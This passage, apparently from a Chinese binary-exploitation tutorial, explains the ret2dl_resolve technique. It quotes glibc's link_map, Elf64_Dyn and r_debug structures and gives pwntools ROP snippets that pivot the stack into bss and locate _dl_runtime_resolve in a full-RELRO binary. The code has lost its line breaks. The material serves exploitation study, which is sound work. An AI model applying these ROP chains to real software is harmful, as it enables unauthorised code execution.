// x64 typedefstruct { Elf64_Sxword d_tag; /* Dynamic entry type */ union { Elf64_Xword d_val; /* Integer value */ Elf64_Addr d_ptr; /* Address value */ } d_un; } Elf64_Dyn;
link_map.l_info:
动态加载器存储这些实体的结构体(link_map结构体成员很多[4],我们仅需关注l_info)
定义:
1 2 3 4 5 6 7 8 9 10 11 12
struct link_map { ... /* Indexed pointers to dynamic section. [0,DT_NUM) are indexed bythe processor-independent tags. [DT_NUM,DT_NUM+DT_THISPROCNUM) are indexed bythe tag minus DT_LOPROC. [DT_NUM+DT_THISPROCNUM,DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM) are indexed by DT_VERSIONTAGIDX(tagvalue). [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM) are indexed by DT_EXTRATAGIDX(tagvalue). [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM) are indexed by DT_VALTAGIDX(tagvalue) and [DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM, DT_NUM+DT_THISPROCNUM+DT_VERSIONTAGNUM+DT_EXTRANUM+DT_VALNUM+DT_ADDRNUM) are indexed by DT_ADDRTAGIDX(tagvalue), see <elf.h>. */ ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM]; ...
d_tag (dynamic entry type) 定义在elf/elf.h[5]中:
1 2 3 4 5 6
/* Legal values for d_tag (dynamic entry type). */ ... #define DT_STRTAB 5 /* Address of string table (.dynstr) */ #define DT_SYMTAB 6 /* Address of symbol table (.dynsym) */ ... #define DT_JMPREL 23 /* Address of PLT relocs (.plt.dyn) */
structlink_map { /* These first few members are part of the protocol with the debugger. This is the same format used in SVR4. */ ElfW(Addr) l_addr; /* Difference between the address in the ELF file and the addresses in memory. */ char *l_name; /* Absolute file name object was found in. */ ElfW(Dyn) *l_ld; /* Dynamic section of the shared object. */ structlink_map *l_next, *l_prev; /* Chain of loaded objects. */ /* All following members are internal to the dynamic linker. They may change without notice. */ /* This is an element which is only ever different from a pointer to the very same copy of this type for ld.so when it is used in more than one namespace. */ structlink_map *l_real; /* Number of the namespace this link map belongs to. */ Lmid_t l_ns; structlibname_list *l_libname; ElfW(Dyn) *l_info[DT_NUM + DT_THISPROCNUM + DT_VERSIONTAGNUM + DT_EXTRANUM + DT_VALNUM + DT_ADDRNUM];
stack_base = bss_addr + stack_size + 0x10 * 40# stack grows from high address to low address!
rop.raw(b'a' * offset) rop.read(0, stack_base, 100) rop.migrate(stack_base) # <-- ebp to bss_addr (pop ebp; ret) and leave to ebp (leave[esp = ebp; pop ebp;]; ret) # notice that the addr stored in stack is stack_base - 4
structr_debug { /* Version number for this protocol. It should be greater than 0. */ int r_version; structlink_map *r_map; /* Head of the chain of loaded objects. */ /* This is the address of a function internal to the run-time linker, that will always be called when the linker begins to map in a library or unmap it, and again when the mapping change is complete. The debugger can set a breakpoint at this address if it wants to notice shared object mapping changes. */ ElfW(Addr) r_brk; enum { /* This state value describes the mapping change taking place when the `r_brk' address is called. */ RT_CONSISTENT, /* Mapping change is complete. */ RT_ADD, /* Beginning to add a new object. */ RT_DELETE /* Beginning to remove an object mapping. */ } r_state; ElfW(Addr) r_ldbase; /* Base address the linker is loaded at. */ };
if dl_runtime_addr == 0: print(" [*] This elf is static linked or full relro") continue else: print(" [*] Found it! The address of _dl_runtime_resolve() is", hex(dl_runtime_addr)) is_found = True break
ifnot is_found: print("[*] Attack Failed! Could not find address of _dl_runtime_resolve().") exit(0)
# use dl_runtime_addr and link_map_addr rop = ROP("./main_full_relro_32") stack_base = bss_addr + 800 rop.read(0, stack_base, 100) rop.migrate(stack_base) sh.sendline(rop.chain())